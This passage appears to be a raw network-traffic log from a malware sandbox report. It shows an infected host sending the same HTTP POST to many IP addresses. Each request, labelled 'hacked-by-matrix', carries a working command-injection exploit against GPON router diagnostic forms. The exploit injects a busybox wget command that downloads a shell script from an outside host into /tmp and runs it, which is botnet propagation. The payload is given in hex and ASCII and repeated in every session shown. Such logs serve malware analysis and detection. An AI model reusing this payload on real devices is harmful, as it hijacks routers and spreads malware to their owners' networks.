Mar 2, 2024 12:36:51.844511032 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	47760	5.201.179.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844520092 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	34602	212.138.49.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844544888 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	45616	94.228.147.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844557047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	34590	118.41.27.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844599009 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	56178	79.104.49.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844614029 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	45106	2.224.163.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844619036 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	42206	178.222.251.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844646931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	34866	42.130.197.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844676971 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	45530	5.166.227.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844728947 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	37882	118.3.241.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844748020 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	44784	210.185.65.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844773054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	42682	37.217.12.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844786882 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	35530	210.167.134.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844806910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	59690	37.112.236.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844831944 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	32960	118.177.223.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844831944 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	33536	37.17.28.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844850063 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	41830	109.36.98.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844868898 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	40274	109.163.207.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844887972 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	32994	2.254.31.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844918966 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	43910	210.193.81.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844933987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	48468	37.210.232.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844970942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	37764	42.218.237.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.844994068 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	47796	94.227.247.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845026970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	52976	94.147.100.90	443

Timestamp	Bytes transferred	Direction	Data
